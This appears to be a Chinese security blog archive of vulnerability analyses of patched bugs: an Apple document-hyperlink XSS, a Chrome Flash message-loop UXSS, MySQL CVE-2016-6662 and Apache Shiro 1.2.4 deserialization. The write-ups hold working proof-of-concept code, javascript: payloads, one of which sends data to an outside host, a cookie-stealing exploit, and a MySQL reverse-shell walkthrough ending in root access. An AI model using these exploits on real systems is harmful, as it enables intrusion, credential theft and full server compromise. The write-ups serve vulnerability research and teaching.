分类目录归档:安全分析

一个有意思的Apple XSS(CVE-2016-7762)的 分析与思考

原创发于先知论坛:https://xianzhi.aliyun.com/forum/read/755.html

0x00 前言

应CVE作者的要求帮忙分析一下这个漏洞,实际上这是一个思路比较有意思的Apple XSS(CVE-2016-7762)。漏洞作者确实脑洞比较大也善于尝试和发掘,这里必须赞一个!

0x01 分析与利用

官方在2017年1月24日发布的安全公告中如下描述:

  • 可利用设备:iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later
  • 漏洞影响:处理恶意构造的web内容可能会导致XSS攻击
  • 漏洞描述:Safari在显示文档时产生此漏洞,且该漏洞已通过修正输入校验被解决了

那么,该漏洞真的如安全公告中所描述的那样被解决了吗?实际上,结果并非如此。

在分析之前,首先先了解一下这到底是个什么漏洞。

POC:

  • 创建一个文档文件,比如:
    • Word文件(docx)
    • PPT文件(pptx)
    • 富文本文件(rtf)
  • 添加一个超链接并插入JS脚本,如:
    • javascript:alert(document.domain);void(0)
    • javascript:alert(document.cookie);void(0)
    • javascript:alert(location.href);void(0)
    • javascript:x=new Image();x.src=”http://i0f.in/authtest.php?id=OAsMdS&info=”;
  • 上传文件至web服务器然后在Apple设备上使用如下应用打开,如:
    • Safari
    • QQ Browser
    • Firefox Browser
    • Google Browser
    • QQ客户端
    • 微信客户端
    • 支付宝客户端
  • 点击文档文件中的超链接,上述JS脚本将会被执行从而造成了XSS漏洞

效果图如下:


回顾一下上面的POC,发现其实该漏洞不仅仅存在于Safari中而是普遍存在于使用了WebKit的APP中。

我们都知道,iOS APP要想像浏览器一样可以显示web内容,那么就必须使用WebKit。这是因为WebKit提供了一系列的类用于实现web页面展示,以及浏览器功能。而其中的WKWebView(或者UIWebView)就是用来在APP中显示web内容的。而当我们使用Safari或者使用了WebKit的APP去打开一个URL时,iOS就会自动使用WKWebView/UIWebView来解析和渲染这些页面或者文档。当受害人点击web服务器上的文档中的链接时,就会导致超链接中插入的javascript脚本被执行从而造成了XSS。这是因为WKWebView/UIWebView在解析和渲染远程服务器上的文档文件时并没有对文档中内嵌的内容做很好的输入校验导致的。

该漏洞单从利用的角度来说还是比较鸡肋的,因为漏洞的触发必须依赖于用户点击文档中的超链接,笔者可以想到的可能的利用场景如下:

  • 攻击者上传了一个包含了恶意JS的超链接(比如:个人博客链接)的Word文件(比如:个人简历)至招聘网站
  • 受害者(比如:HR或者猎头)登录招聘网站且使用iPhone或者iPad上的Safari在线打开该简历中的“博客链接”,那么此时攻击者很可能就成功获取了受害者的该网站cookie之类的信息

0x02 思考

这个XSS漏洞本身其实并没有太多的技术含量或者技巧,但是在挖掘思路上却是很有意思且值得思考的。漏洞作者并没有将利用js直接插入至web页面本身,而是巧妙地利用了某些文档中的超链接绕过了WebKit的输入校验。这也从一定程度上再次阐释了web安全中一个最基本的原则即“所有输入都是不安全的”,不管是直接输入或者是间接输入。我们在做应用或者产品的安全设计时最好能够确认各种信任边界以及输入输出,且做好校验过滤以及必要的编码,这样才能有效的防范这种间接输入导致的漏洞。

0x03 参考

https://support.apple.com/en-us/HT207422

https://developer.apple.com/reference/webkit

https://developer.apple.com/reference/webkit/wkwebview

https://developer.apple.com/reference/uikit/uiwebview

一个价值7500刀的Chrome UXSS(CVE-2016-1631)分析与利用

0x00 前言

本文的写作来源于前几天一个小伙伴发过来一个漏洞链接让笔者帮忙解释一下漏洞原理,为了便于小伙伴的理解且留作笔记供日后查阅遂写此文。

本文讨论的漏洞已早已修复,但作为漏洞研究还是很有价值的。此漏洞由研究人员Marius Mlynski发现并于2015年12月14日报告的一个Chrome不当地使用Flash消息循环而产生的UXSS漏洞(CVE-2016-1631)。

0x01 分析

漏洞影响:

Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash

原漏洞报告如下:

From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
----------------
int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
    const RunFromHostProxyCallback& callback) {
(...)
  // It is possible that the PPB_Flash_MessageLoop_Impl object has been
  // destroyed when the nested message loop exits.
  scoped_refptr<State> state_protector(state_);
  {
    base::MessageLoop::ScopedNestableTaskAllower allow(
        base::MessageLoop::current());
    base::MessageLoop::current()->Run();
  }
(...)
}
----------------

报告者解释说:PPB_Flash_MessageLoop_Impl::InternalRun在运行一个嵌套消息循环之前没有初始化ScopedPageLoadDeferrer,从而导致能够在任意Javascrpit的执行点加载一个跨域文档造成了XSS。

接下来,我们来看看报告者提供的POC,主要有三个文件:

  • p.as: 一个ActionScript脚本文件
  • p.swf: 一个swf格式的Flash文件
  • poc.html: 具体的poc代码

p.as:

package {
  import flash.display.*;
  import flash.external.*;
  import flash.printing.*;
  public class p extends Sprite {
    public function f():void {
      new PrintJob().start();
    }
    public function p():void {
      ExternalInterface.addCallback('f', f);
      ExternalInterface.call('top.cp');
    }
  }
}
poc.html:

<script>
if (location.href.startsWith('file')) {
  throw alert('This does not work from file:, please put it on an HTTP server.')
}

var c0 = 0;
function cp() {
  ++c0;
}

var fs = [];
for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  // The magic happens here:
  pw.document.querySelector('embed').f();
  // Clean-up phase -- now that the print operation has served its
  // purpose of spinning a nested event loop, kill the print dialog
  // in case it's necessary to spin the loop again.
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (c0 == 10) {
    clearInterval(t);
    // The initial location of this iframe is about:blank.
    // It shouldn't change before the end of this function
    // unless a nested event loop is spun without a
    // ScopedPageLoadDeferrer on the stack.
    // |alert|, |print|, etc. won't work, as they use a
    // ScopedPageLoadDeferrer to defer loads during the loop.
    var i = document.documentElement.appendChild(document.createElement('iframe'));
    // Let's schedule an asynchronous load of a cross-origin document.
    i.contentWindow.location.href = 'data:text/html,';
    // Now let's try spinning the Flash message loop.
    // If the load succeeds, |i.contentDocument| will throw.
    try {
      while (i.contentDocument) { message_loop(); }
    } catch(e) {}

    // Check the final outcome of the shenanigans.
    try {
      if (i.contentWindow.location.href === 'about:blank') {
        alert('Nothing unexpected happened, good.');
      }
    } catch(e) {
      alert('The frame is cross-origin already, this is bad.');
    }
  }
}

var t = setInterval(f, 100);
</script>

POC的原理就是在页面中创建多个源为Flash文件的iframe,然后调用as脚本开启打印工作任务,此时Chrome将通过PPB_Flash_MessageLoop_Impl::InternalRun方法在主线程中运行一个嵌套的MessageLoop消息循环来发送PPB_Flash_MessageLoop消息给渲染器,由于PPB_Flash_MessageLoop_Impl::InternalRun方法没有在栈上设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源造成了UXSS漏洞。

那么,如何来理解这个漏洞呢?

在Chrome中,我们知道,每个线程都有一个MessageLoop(消息循环)实例。报告中的PPB_Flash_MessageLoop_Impl实际上就是Chrome处理Flash事件的消息循环的实现。当浏览器接收到要打印Flash文件的消息时,会开启一个MessageLoop来处理打印事件,而此时如果在运行的嵌套的消息循环里没有终止脚本的回调以及资源加载的方法的话,就可以通过脚本回调代码绕过SOP加载任意资源,也就造成了XSS漏洞。

从下面是源代码作者做的修复可以更好的了解漏洞的产生原因。

不难发现,源码作者实际上仅做了以下更改:

1. 添加了#include “third_party/WebKit/public/web/WebView.h”;

2. 在执行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();

3. 在执行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();

找到third_party/WebKit/public/web/WebView.h文件,我们在当中找到了步骤2和3的方法如下:

third_party/WebKit/public/web/WebView.h:
-----------------------
    // Modal dialog support ------------------------------------------------
    // Call these methods before and after running a nested, modal event loop
    // to suspend script callbacks and resource loads.
    BLINK_EXPORT static void willEnterModalLoop();
    BLINK_EXPORT static void didExitModalLoop();
(...)
-----------------------

显然, 修复漏洞的方法就是在执行一个嵌套的模态事件循坏前后调用这2个方法来防止脚本的回调以及资源的加载,从而阻止了因为脚本回调而绕过SOP的XSS漏洞的产生。

0x02 利用

首先,下载exploit并部署到你的web服务器上。

解压后,文档目录如下:

├── exploit
│   ├── exploit.html
│   ├── f.html
│   ├── p.as
│   └── p.swf

打开exploit.html修改如下:

<script>
var c0 = 0;
var c1 = 0;
var fs = [];

function cp() {
  ++c0;
}

for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

function ml() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  pw.document.querySelector('embed').f();
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (++c1 == 2) {
    var x1 = x.contentWindow[0].frameElement.nextSibling;
    x1.src = 'http://avfisher.win/'; //此处可修改成目标浏览器上打开的任意的站点
    try {
      while (x1.contentDocument) { ml(); }
    } catch(e) {
      x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此处为在目标站点上想要执行的js代码
    }
  }
}

function c() {
  if (c0 == 10) {
    clearInterval(t);
    x = document.documentElement.appendChild(document.createElement('iframe'));
    x.src = 'f.html';
  }
}

var t = setInterval(c, 100);
</script>

利用效果如下:

0x03 参考

https://bugs.chromium.org/p/chromium/issues/detail?id=569496

https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/third_party/WebKit/public/web/WebView.h

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/base/message_loop/message_loop.h#581

http://blog.csdn.net/zero_lee/article/details/7905121

http://www.360doc.com/content/13/0422/16/168576_280145531.shtml

MySQL远程代码执行/权限提升漏洞的分析与实践(CVE-2016-6662)

0x00 背景

2016年9月12日,国外安全研究人员Dawid Golunski发布安全公告发现了MySQL的一个可被远程代码执行/权限提升的漏洞(CVE-2016-6662)。笔者在研究了原报告后,做了如下分析和实践。

0x01 分析

漏洞披露原址:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

影响范围 (漏洞作者9月16日的最新更新):

MySQL <= 5.7.14

MySQL <= 5.6.32

MySQL <= 5.5.51

在对原报告的研究后,整理总结如下。

漏洞产生的原因:

1. 默认安装的MySQL自带了一个mysqld_safe的脚本用来启动mysql的服务进程,如:

2. 该进程能够在启动mysql server之前预加载共享库文件,通过参数 –malloc-lib = LIB

/usr/local/mysql/bin/mysqld_safe:

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

    if [ -z "$malloc_lib" ]; then
      log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
      exit 1
    fi
  fi

3. 共享库文件可被添加在一个mysql的配置文件my.cnf中, 比如mysql的data目录,$DATADIR/my.cnf

/usr/local/mysql/bin/mysqld_safe:

# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else
  DATADIR=/usr/local/mysql/data
fi

4. 一旦攻击者可以注入恶意库文件在my.cnf文件中,即可在mysql服务重启时以root权限执行预加载的任意共享库中的任意代码

漏洞的利用条件:

具有FILE和SELECT权限的mysql的用户且能够访问日志功能(通常情况下只有MYSQL的管理员用户具有)

漏洞的利用场景:

1. 在MYSQL已存在的具有弱权限或者权限设置不安全的配置文件(mysql用户可写)里注入恶意代码

2. 在MYSQL的data目录里(mysql用户默认可写)创建一个新的配置文件my.cnf,并注入恶意代码

漏洞的利用原理:

1. 使用mysql的日志记录功能创建/修改my.cnf文件

mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

2. 注入包涵恶意代码的共享库,并添加到my.cnf文件的[mysqld]下,如:

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

3. 重启mysql服务,即可实现以root权限执行恶意代码

0x02 实践

实验环境:

  • Ubuntu 16.04.1 LTS
  • MySQL 5.5.50

实践步骤:

1. 安装与配置MySQL:http://howtolamp.com/lamp/mysql/5.6/installing/

安装后目录如下:

root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/
total 72
drwxr-xr-x  2 mysql mysql  4096 9月  18 18:51 bin
-rw-r--r--  1 mysql mysql 17987 5月  16 17:46 COPYING
drwx------  6 mysql mysql  4096 9月  18 17:46 data
drwxr-xr-x  2 mysql mysql  4096 9月  13 23:58 docs
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 include
-rw-r--r--  1 mysql mysql   301 5月  16 17:46 INSTALL-BINARY
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 lib
drwxr-xr-x  4 mysql mysql  4096 9月  13 19:17 man
drwxr-xr-x 10 mysql mysql  4096 9月  13 19:17 mysql-test
-rw-r--r--  1 mysql mysql  2496 5月  16 17:46 README
drwxr-xr-x  2 mysql mysql  4096 9月  13 19:17 scripts
drwxr-xr-x 27 mysql mysql  4096 9月  13 19:17 share
drwxr-xr-x  4 mysql mysql  4096 9月  13 23:02 sql-bench
drwxr-xr-x  2 mysql mysql  4096 9月  18 17:52 support-files

2. 下载exp文件:

3. 查找mysql的data目录,如:/usr/local/mysql/data

root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe
root     12592  0.0  0.0   4508  1780 pts/18   S    17:46   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid
root     13622  0.0  0.0  21296   940 pts/18   S+   18:59   0:00 grep --color=auto mysqld_saf

4. 修改exp文件

0ldSQL_MySQL_RCE_exploit.py:修改161行如下 (注意:此处的作用是将mysql的触发器文件写入到测试数据库所在的同一目录下)

TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB

mysql_hookandroot_lib.c:修改63-65行如下 (此处笔者使用的my.cnf的目录是/usr/local/mysql/data/my.cnf)

#define ATTACKERS_IP "<你的监听服务器的IP>"
#define SHELL_PORT <你的监听端口>
#define INJECTED_CONF "<你的mysql的data目录下的my.cnf文件>"

5. 在监听服务器上启动监听

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

6. 创建测试数据库用户和数据库

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'; 

7. 执行0ldSQL_MySQL_RCE_exploit.py脚本如下:

root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 127.0.0.1 and target mysql account 'attacker@127.0.0.1' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf

[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected

...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

...

8. 重启mysql服务来触发利用

root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart

9. 监听服务器成功收到反弹shell

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.92.
Ncat: Connection from 192.168.1.92:46192.
root@ubuntu:/usr/local/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)

0x03 总结

笔者在该漏洞的测试和实践过程中,有如下的体会和心得:

1. 漏洞作者巧妙地利用了触发器,使一个普通的用户利用了root权限执行了所需的sql语句,从而成功地绕过了mysql对于general_log_file文件操作的权限限制

2. 漏洞作者提供了一个不错的反弹shell的技巧,即在mysqld启动之前利用preload加载my.cnf文件顺序早于mysqld成功地修改了my.cnf文件中的冗余信息,保证了mysql服务的正常启动

3. 关于mysql的data目录下的my.cnf文件的权限问题,其实完全不需要chown mysql:mysql my.cnf, 只要同时具备以下2个条件即可:

  • 默认的mysql用户对my.cnf具有可写权限
  • my.cnf不是world-write权限

参考

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

http://seclists.org/oss-sec/2016/q3/484

Apache Shiro 1.2.4 远程代码执行分析与利用

0x00 前言

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理功能,可为任何应用提供安全保障 – 从命令行应用、移动应用到大型网络及企业应用。Shiro为解决应用安全的如下四要素提供了相应的API:

  • 认证 – 用户身份识别,常被称为用户“登录”;
  • 授权 – 访问控制;
  • 密码加密 – 保护或隐藏数据防止被偷窥;
  • 会话管理 – 用户相关的时间敏感的状态。

Shiro还支持一些辅助特性,如Web应用安全、单元测试和多线程,它们的存在强化了这四个要素。本文重点分析2015年11月19号报告的1.2.4版本中存在的一个反序列化导致的远程代码执行的漏洞。

0x01 分析

根据SHIRO-550(https://issues.apache.org/jira/browse/SHIRO-550)报告中的描述,默认情况下,shiro使用CookieRememberMeManager类对用户的身份信息的进行序列化,加密以及编码。因此,当系统收到一个未认证的用户的请求时,将会按照下面的过程来寻找已记住的身份信息:

  • 获取rememberMe cookie的值
  • Base64解码
  • 使用AES解密
  • 使用ObjectInputStream进行反序列化

然而,默认的AES加密的密钥却是硬编码在源码里。这就意味着,任何能够看到源代码的人都知道默认的密钥什么。一旦攻击者构造了一个恶意的对象,利用上面处理过程的反过程(序列化-AES加密-Base64编码)将恶意代码作为cookie发送至服务器端这就造成了由反序列化引起的远程代码执行的漏洞。

下面我将重点分析一下这个漏洞造成的过程。

从报告描述中可以发现这个漏洞主要是因为CookieRememberMeManager类引起的,找到github上shiro 1.2.4源码。

CookieRememberMeManager.java:

public class CookieRememberMeManager extends AbstractRememberMeManager {

    ...

    /**
     * Base64-encodes the specified serialized byte array and sets that base64-encoded String as the cookie value.
     * <p/>
     * The {@code subject} instance is expected to be a {@link WebSubject} instance with an HTTP Request/Response pair
     * so an HTTP cookie can be set on the outgoing response.  If it is not a {@code WebSubject} or that
     * {@code WebSubject} does not have an HTTP Request/Response pair, this implementation does nothing.
     *
     * @param subject    the Subject for which the identity is being serialized.
     * @param serialized the serialized bytes to be persisted.
     */
    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                        "request and response in order to set the rememberMe cookie. Returning immediately and " +
                        "ignoring rememberMe operation.";
                log.debug(msg);
            }
            return;
        }


        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);

        //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);

        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }

    ...

    /**
     * Returns a previously serialized identity byte array or {@code null} if the byte array could not be acquired.
     * This implementation retrieves an HTTP cookie, Base64-decodes the cookie value, and returns the resulting byte
     * array.
     * <p/>
     * The {@code SubjectContext} instance is expected to be a {@link WebSubjectContext} instance with an HTTP
     * Request/Response pair so an HTTP cookie can be retrieved from the incoming request.  If it is not a
     * {@code WebSubjectContext} or that {@code WebSubjectContext} does not have an HTTP Request/Response pair, this
     * implementation returns {@code null}.
     *
     * @param subjectContext the contextual data, usually provided by a {@link Subject.Builder} implementation, that
     *                       is being used to construct a {@link Subject} instance.  To be used to assist with data
     *                       lookup.
     * @return a previously serialized identity byte array or {@code null} if the byte array could not be acquired.
     */
    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

分析这个类后,我们发现CookieRememberMeManager类实际上继承了父类AbstractRememberMeManager并且正如上面描述的过程使用getRememberedSerializedIdentity方法对获取到的请求进行Base64解码返回序列化对象。

而AbstractRememberMeManager类直接将AES加密的密钥写在源码里,并且调用DefaultSerializer类来实现序列化操作

AbstractRememberMeManager.java:

public abstract class AbstractRememberMeManager implements RememberMeManager {

    /**
     * private inner log instance.
     */
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

    /**
     * The following Base64 string was generated by auto-generating an AES Key:
     * <pre>
     * AesCipherService aes = new AesCipherService();
     * byte[] key = aes.generateNewKey().getEncoded();
     * String base64 = Base64.encodeToString(key);
     * </pre>
     * The value of 'base64' was copied-n-pasted here:
     */
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

... ...

    /**
     * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
     * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
     */
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

继续分析DefaultSerializer类,在反序列化方法deserialize里,我们看到了熟悉的readObject(),这也正是远程代码执行漏洞产生的原因。

DefaultSerializer.java:

public class DefaultSerializer<T> implements Serializer<T> {

    /**
     * This implementation serializes the Object by using an {@link ObjectOutputStream} backed by a
     * {@link ByteArrayOutputStream}.  The {@code ByteArrayOutputStream}'s backing byte array is returned.
     *
     * @param o the Object to convert into a byte[] array.
     * @return the bytes representing the serialized object using standard JVM serialization.
     * @throws SerializationException wrapping a {@link IOException} if something goes wrong with the streams.
     */
    public byte[] serialize(T o) throws SerializationException {
        if (o == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedOutputStream bos = new BufferedOutputStream(baos);

        try {
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(o);
            oos.close();
            return baos.toByteArray();
        } catch (IOException e) {
            String msg = "Unable to serialize object [" + o + "].  " +
                    "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +
                    "class must implement java.io.Serializable.";
            throw new SerializationException(msg, e);
        }
    }

    /**
     * This implementation deserializes the byte array using a {@link ObjectInputStream} using a source
     * {@link ByteArrayInputStream} constructed with the argument byte array.
     *
     * @param serialized the raw data resulting from a previous {@link #serialize(Object) serialize} call.
     * @return the deserialized/reconstituted object based on the given byte array
     * @throws SerializationException if anything goes wrong using the streams.
     */
    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

总结一下漏洞产生的过程如下:

  1. CookieRememberMeManager类接收到客户端的rememberMe cookie的请求
  2. 使用getRememberedSerializedIdentity方法对获取到的请求进行Base64解码返回序列化对象
  3. 调用AbstractRememberMeManager类并使用硬编码的密钥对序列化对象进行AES解密
  4. 调用DefaultSerializer类中的deserialize方法实现反序列化操作,从而造成远程代码执行

0x02 利用

2.1 搭建实验环境

首先,从Github上下载Shiro 1.2.4的源代码:

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
cd samples/web

接着,编辑pom.xml文件,添加存在漏洞的jar包如下:

<!-- 设置maven的编译环境 -->
     <properties>
        <maven.compiler.source>1.6</maven.compiler.source>
        <maven.compiler.target>1.6</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!-- 此处需设置版本为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        ...
        <!-- 添加存在漏洞的commons-collections包 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

然后,安装和配置maven并设置maven的编译环境。可参考http://shiro-user.582556.n2.nabble.com/Help-td7580772.html,新建文件”~/.m2/toolchains.xml”包含以下内容:

<toolchains>
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <!-- this can be anything 1.6+, I tested with java 1.8 on a mac -->
      <jdkHome>/absolute/path/to/java/home</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

编译存在漏洞环境为war包:

mvn package

编译成功后,将target目录下生成的war文件部署到你的web服务器上(如:tomcat)如下图所示:

2.2 编写漏洞利用

根据以上的分析,我编写了如下的工具可用于检测是否存在漏洞。

单个网址检测:

hackUtils.py -o http://www.shiro.com/

批量网址检测:

hackUtils.py -o urls.txt

0x03 修补方案

升级到Shiro 1.2.5 或者 2.0.0 版本。

参考

https://issues.apache.org/jira/browse/SHIRO-550

Magento未授权远程代码执行漏洞(CVE-2016-4010)的分析与利用

0x00 前言

